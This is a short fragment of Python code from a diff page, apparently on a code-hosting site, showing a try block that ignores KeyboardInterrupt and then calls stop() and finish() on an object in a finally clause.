except KeyboardInterrupt as e:
|
||||
pass
|
||||
finally:
|
||||
w.stop()
|
||||
w.finish()
|
||||
Reference in New Issue
Block a user